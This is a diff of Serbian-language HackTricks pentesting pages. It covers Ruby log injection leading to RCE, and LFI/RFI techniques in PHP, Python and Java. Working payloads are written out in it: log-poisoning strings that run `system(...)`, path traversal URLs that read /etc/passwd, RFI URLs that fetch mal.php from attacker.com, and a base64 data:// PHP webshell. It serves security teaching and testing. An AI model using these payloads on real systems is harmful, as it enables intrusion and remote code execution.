- Starije aplikacije mogu koristiti AES-256-CBC i saltove `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializere. Po potrebi prilagodite saltove, cipher i serializer.
|
- Starije aplikacije mogu koristiti AES-256-CBC i salts `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializers. Prilagodite salts, cipher i serializer u skladu sa tim.
|
||||||
- U slučaju kompromitacije ili procene, rotirajte `secret_key_base` kako biste invalidirali sve postojeće cookies.
|
- U slučaju kompromitovanja/pri proceni, rotirajte `secret_key_base` da biste invalidirali sve postojeće cookies.
|
||||||
|
|
||||||
## Pogledajte i (Ruby/Rails-specifične ranjivosti)
|
## See also (Ruby/Rails-specific vulns)
|
||||||
|
|
||||||
- Ruby deserialization and class pollution:
|
- Ruby deserialization and class pollution:
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -92,9 +92,83 @@ Napomene:
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||||
|
|
||||||
|
Kada aplikacija (često jednostavan Rack/Sinatra/Rails endpoint) ispunjava oba uslova:
|
||||||
|
- zapisuje string koji kontroliše korisnik doslovno, i
|
||||||
|
- kasnije `load`-uje fajl čija je putanja izvedena iz istog stringa (nakon `Pathname#cleanpath`),
|
||||||
|
|
||||||
|
Često možete postići izvršavanje koda na daljinu (RCE) tako što ćete zatrovati log i potom prisiliti aplikaciju da `load`-uje log fajl. Ključne primitive:
|
||||||
|
|
||||||
|
- Ruby `load` evaluira sadržaj ciljnog fajla kao Ruby bez obzira na ekstenziju fajla. Bilo koji čitljiv tekstualni fajl čiji sadržaj parsira kao Ruby biće izvršen.
|
||||||
|
- `Pathname#cleanpath` sabija `.` i `..` segmente bez pristupanja filesystem-u, omogućavajući path smuggling: attacker-controlled junk može biti dodan ispred radi logovanja dok očišćena putanja i dalje rešava na željeni fajl za izvršenje (npr. `../logs/error.log`).
|
||||||
|
|
||||||
|
### Minimalni ranjivi obrazac
|
||||||
|
```ruby
|
||||||
|
require 'logger'
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
logger = Logger.new('logs/error.log')
|
||||||
|
param = CGI.unescape(params[:script])
|
||||||
|
path_obj = Pathname.new(param)
|
||||||
|
|
||||||
|
logger.info("Running backup script #{param}") # Raw log of user input
|
||||||
|
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||||
|
```
|
||||||
|
### Zašto log može sadržati validan Ruby
|
||||||
|
`Logger` zapisuje prefiksne linije kao:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||||
|
```
|
||||||
|
U Ruby, `#` započinje komentar, a `9/2/2025` je samo aritmetika. Da biste ubacili validan Ruby kod morate:
|
||||||
|
- Počnite svoj payload na novom redu tako da ga `#` u INFO liniji ne komentariše; pošaljite vodeći novi red (`\n` ili `%0A`).
|
||||||
|
- Zatvorite viseći `[` koji je uveden u INFO liniji. Uobičajeni trik je da počnete sa `]` i opciono zadovoljite parser sa `][0]=1`.
|
||||||
|
- Zatim postavite proizvoljan Ruby kod (npr. `system(...)`).
|
||||||
|
|
||||||
|
Example of what will end up in the log after one request with a crafted param:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||||
|
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
### Krijumčarenje jedne niske koja istovremeno loguje kod i rešava se u putanju log fajla
|
||||||
|
Želimo jednu nisku kontrolisanu od strane napadača koja:
|
||||||
|
- kada se zabeleži u raw obliku, sadrži naš Ruby payload, i
|
||||||
|
- kada se prosledi kroz `Pathname.new(<input>).cleanpath`, rešava se u `../logs/error.log`, tako da naredni `load` izvrši upravo zatrovani log fajl.
|
||||||
|
|
||||||
|
`Pathname#cleanpath` ignoriše scheme i kolapsira traversal komponente, tako da sledeće radi:
|
||||||
|
```ruby
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||||
|
puts p.cleanpath # => ../logs/error.log
|
||||||
|
```
|
||||||
|
- `#` pre `://` osigurava da Ruby ignoriše ostatak kada se log izvrši, dok `cleanpath` i dalje svodi sufiks na `../logs/error.log`.
|
||||||
|
- Početni newline izlazi iz INFO linije; `]` zatvara viseću zagradu; `][0]=1` zadovoljava parser.
|
||||||
|
|
||||||
|
### End-to-end eksploatacija
|
||||||
|
1. Pošaljite sledeće kao ime backup skripta (ako je potrebno URL-enkodujte prvi newline kao `%0A`):
|
||||||
|
```
|
||||||
|
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
2. Aplikacija zapiše vaš sirovi string u `logs/error.log`.
|
||||||
|
3. Aplikacija izračuna `cleanpath` koji se rešava na `../logs/error.log` i poziva `load` na njemu.
|
||||||
|
4. Ruby izvršava kod koji ste ubrizgali u log.
|
||||||
|
|
||||||
|
Da biste eksfiltrirali fajl u okruženju sličnom CTF-u:
|
||||||
|
```
|
||||||
|
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
URL-encoded PoC (prvi karakter je novi red):
|
||||||
|
```
|
||||||
|
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||||
|
```
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
- Rails bezbednosno saopštenje: CVE-2025-24293 Active Storage unsafe transformation methods (ispravljeno u 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||||
- GitHub bezbednosno obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
- GitHub obaveštenje: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||||
|
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||||
|
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||||
|
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||||
|
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -13,11 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
|||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules za prikupljanje informacija.
|
Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules da biste prikupili informacije.
|
||||||
|
|
||||||
### Vidi takođe
|
### Pogledajte i
|
||||||
|
|
||||||
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
Linux LPE putem otkrivanja servisa VMware Tools (CWE-426 / CVE-2025-41244):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||||
|
@ -4,14 +4,14 @@
|
|||||||
|
|
||||||
## File Inclusion
|
## File Inclusion
|
||||||
|
|
||||||
**Remote File Inclusion (RFI):** Datoteka se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
|
**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php ovo je **onemogućeno** po defaultu (**allow_url_include**).\
|
||||||
**Local File Inclusion (LFI):** Server učitava lokalnu datoteku.
|
**Local File Inclusion (LFI):** Server učitava lokalni fajl.
|
||||||
|
|
||||||
Ranjivost nastaje kada korisnik na neki način može kontrolisati koju će datoteku server učitati.
|
Ranljivost nastaje kada korisnik na neki način može kontrolisati fajl koji će server učitati.
|
||||||
|
|
||||||
Ranljive **PHP functions**: require, require_once, include, include_once
|
Ranljive **PHP functions**: require, require_once, include, include_once
|
||||||
|
|
||||||
Zanimljiv alat za eksploataciju ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
Interesantan alat za eksploatisanje ove ranljivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
|
|
||||||
## Blind - Interesting - LFI2RCE files
|
## Blind - Interesting - LFI2RCE files
|
||||||
```python
|
```python
|
||||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**Kombinovanjem nekoliko \*nix LFI listi i dodavanjem još putanja napravio sam ovu:**
|
**Mešanjem nekoliko \*nix LFI lista i dodavanjem još putanja napravio sam ovu:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Pokušajte takođe da zamenite `/` sa `\`\
|
Probajte takođe da zamenite `/` sa `\`\
|
||||||
Pokušajte takođe da dodate `../../../../../`
|
Probajte takođe da dodate `../../../../../`
|
||||||
|
|
||||||
Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
Spoj različitih wordlists:
|
Spajanje različitih wordlists:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Pokušajte takođe da zamenite `/` sa `\`\
|
Probajte takođe da zamenite `/` sa `\`\
|
||||||
Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`
|
Probajte takođe da uklonite `C:/` i dodate `../../../../../`
|
||||||
|
|
||||||
Lista koja koristi nekoliko tehnika da pronađe fajl /boot.ini (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Proverite LFI listu za Linux.
|
Proverite LFI listu za linux.
|
||||||
|
|
||||||
## Osnovni LFI i bypasses
|
## Osnovni LFI i zaobilaženja
|
||||||
|
|
||||||
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
### traversal sequences uklonjene bez rekurzije
|
### traversal sequences uklonjene nerekurzivno
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|||||||
```
|
```
|
||||||
### **Null byte (%00)**
|
### **Null byte (%00)**
|
||||||
|
|
||||||
Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_GET\['param']."php")
|
Bypass ubacivanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_GET\['param']."php")
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
@ -71,7 +71,7 @@ Ovo je **rešeno od PHP 5.4**
|
|||||||
|
|
||||||
### **Kodiranje**
|
### **Kodiranje**
|
||||||
|
|
||||||
Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
|
Možete koristiti nestandardna kodiranja poput double URL encode (i drugih):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|||||||
```
|
```
|
||||||
### Iz postojeće fascikle
|
### Iz postojeće fascikle
|
||||||
|
|
||||||
Možda back-end proverava putanju foldera:
|
Možda back-end proverava putanju fascikle:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
### Istraživanje direktorijuma datotečnog sistema na serveru
|
### Istraživanje direktorijuma sistema fajlova na serveru
|
||||||
|
|
||||||
Datotečni sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za to:
|
Sistem fajlova na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih direktorijuma. Ispod je detaljna metoda za postizanje ovog cilja:
|
||||||
|
|
||||||
1. **Utvrdi dubinu direktorijuma:** Odredite dubinu svog trenutnog direktorijuma uspešnim dohvatom fajla `/etc/passwd` (važi ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu od tri:
|
1. **Odredite dubinu direktorijuma:** Utvrdite dubinu vašeg trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, ukazujući na dubinu tri:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
2. **Ispitajte direktorijume:** Dodajte ime sumnjivog direktorijuma (npr. `private`) na URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
|
2. **Probe for Folders:** Dodajte ime sumnjive fascikle (npr. `private`) u URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||||
```
|
```
|
||||||
3. **Tumačenje rezultata:** Serverov odgovor ukazuje da li direktorijum postoji:
|
3. **Tumačenje rezultata:** Odgovor servera pokazuje da li direktorijum postoji:
|
||||||
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na naznačenoj lokaciji.
|
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji.
|
||||||
- **Sadržaj `/etc/passwd`:** Prisutnost direktorijuma `private` je potvrđena.
|
- **Sadržaj `/etc/passwd`:** Prisutnost direktorijuma `private` je potvrđena.
|
||||||
4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dodatno ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
|
4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dalje ispitivati radi poddirektorijuma ili fajlova koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
|
||||||
|
|
||||||
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini 3), koristite:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
### **Path Truncation Technique**
|
### **Path Truncation Technique**
|
||||||
|
|
||||||
Path truncation je metoda koja se koristi za manipulaciju file paths u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima tako što zaobilazi određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja do fajlova. Cilj je konstruisati putanju koja, nakon što je izmenjena od strane sigurnosne mere, i dalje pokazuje na željeni fajl.
|
Path truncation je metoda koja se koristi za manipulaciju putanjama fajlova u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je kreirati putanju fajla koja, nakon što je sigurnosna mera izmeni, i dalje pokazuje na željeni fajl.
|
||||||
|
|
||||||
U PHP, različite reprezentacije putanje do fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
||||||
|
|
||||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
|
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` svi se tretiraju kao ista putanja.
|
||||||
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
|
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (čineći ga `passwd/`) ne menja ciljani fajl.
|
||||||
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
|
- Slično, ako je `.php` dodat putanji fajla (npr. `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl kojem se pristupa.
|
||||||
|
|
||||||
Primeri koji slede pokazuju kako iskoristiti path truncation da se pristupi `/etc/passwd`, česta meta zbog osetljivog sadržaja (informacije o korisničkim nalozima):
|
Priloženi primeri pokazuju kako iskoristiti path truncation za pristup `/etc/passwd`, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima):
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
|
U ovim scenarijima, broj traversals potrebnih može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.
|
||||||
|
|
||||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) u kombinaciji sa dodatnim tačkastim segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efektivno ignorišući dodate stringove koje server prikači.
|
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) u kombinaciji sa dodatnim dot segments i karakterima mogu se koristiti za navigaciju fajl sistemom, efikasno ignorišući stringove koje server prikači.
|
||||||
- **Determining the Required Number of Traversals**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma, a zatim do `/etc/passwd`, pri čemu se obezbeđuje da su dodati stringovi (npr. `.php`) neutralisani, a željeni put (`/etc/passwd`) ostane netaknut.
|
- **Determining the Required Number of Traversals**: Metodom pokušaja i greške može se pronaći tačan broj `../` sekvenci potreban da se dođe do root directory i zatim do `/etc/passwd`, pri čemu se vodi računa da prikačeni stringovi (kao `.php`) budu neutralisani, dok željeni put (`/etc/passwd`) ostane netaknut.
|
||||||
- **Starting with a Fake Directory**: Uobičajena praksa je započeti put nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja na serveru.
|
- **Starting with a Fake Directory**: Uobičajena praksa je započeti put nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi serverove logike parsiranja putanja.
|
||||||
|
|
||||||
Primenjujući tehnike skraćivanja putanja, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenarij može zahtevati drugačiji pristup, pa su testiranja često neophodna da se pronađe najučinkovitija metoda.
|
When employing path truncation techniques, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, i često je neophodno testiranje da bi se našla najučinkovitija metoda.
|
||||||
|
|
||||||
**Ova ranjivost je ispravljena u PHP 5.3.**
|
**This vulnerability was corrected in PHP 5.3.**
|
||||||
|
|
||||||
### **Filter bypass tricks**
|
### **Filter bypass tricks**
|
||||||
```
|
```
|
||||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
U php-u je ovo po defaultu onemogućeno zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
|
U php-u je ovo onemogućeno po podrazumevanoj postavci zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
Ako iz nekog razloga **`allow_url_include`** je **On**, ali PHP filtrira pristup spoljnim web-stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
|
Ako iz nekog razloga **`allow_url_include`** ima vrednost **On**, ali PHP **filtrira** pristup eksternim veb-stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protocol sa base64 da dekodirate b64 PHP code i dobijete RCE:
|
||||||
```
|
```
|
||||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> U prethodnom кодu, završni `+.txt` је dodat јер је нападачу био потребан string који се završава са `.txt`, па се низ завршава њиме и након b64 decode-а тај део ће вратити само смеће, а стварни PHP код биће укључен (и самим тим, извршен).
|
> U prethodnom kodu, završni `+.txt` je dodat zato što je attacker trebao string koji se završava sa `.txt`, tako da se string završava njime i nakon b64 decode-a taj deo će vratiti samo junk i pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||||
|
|
||||||
Another example **not using the `php://` protocol** would be:
|
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
|
||||||
```
|
```
|
||||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||||
```
|
```
|
||||||
## Python korenski element
|
## Python korenski element
|
||||||
|
|
||||||
U Pythonu, u kodu poput ovog:
|
U Pythonu u kodu poput ovog:
|
||||||
```python
|
```python
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
```
|
```
|
||||||
Ako korisnik prosledi **absolute path** kao **`file_name`**, **prethodni path se jednostavno uklanja**:
|
Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodna putanja se jednostavno uklanja**:
|
||||||
```python
|
```python
|
||||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
'/etc/passwd'
|
'/etc/passwd'
|
||||||
```
|
```
|
||||||
Ovo je očekivano ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
Ovo je predviđeno ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||||
|
|
||||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente puta.
|
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od te apsolutne komponente.
|
||||||
|
|
||||||
## Java Prikaz sadržaja direktorijuma
|
## Java: prikaz direktorijuma
|
||||||
|
|
||||||
Izgleda da, ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se prikaz sadržaja direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
|
Čini se da ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se listing direktorijuma**. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima.
|
||||||
|
|
||||||
## Top 25 parametara
|
## Top 25 parametara
|
||||||
|
|
||||||
Evo liste 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) ranjivostima (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -211,11 +211,11 @@ Evo liste 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI)
|
|||||||
?mod={payload}
|
?mod={payload}
|
||||||
?conf={payload}
|
?conf={payload}
|
||||||
```
|
```
|
||||||
## LFI / RFI using PHP wrappers & protocols
|
## LFI / RFI koristeći PHP wrappers & protocols
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podacima** pre nego što se oni pročitaju ili zapisuju. Postoji 5 kategorija filtera:
|
PHP filteri omogućavaju izvođenje osnovnih **operacija izmene nad podacima** pre nego što se oni pročitaju ili upišu. Postoji 5 kategorija filtera:
|
||||||
|
|
||||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
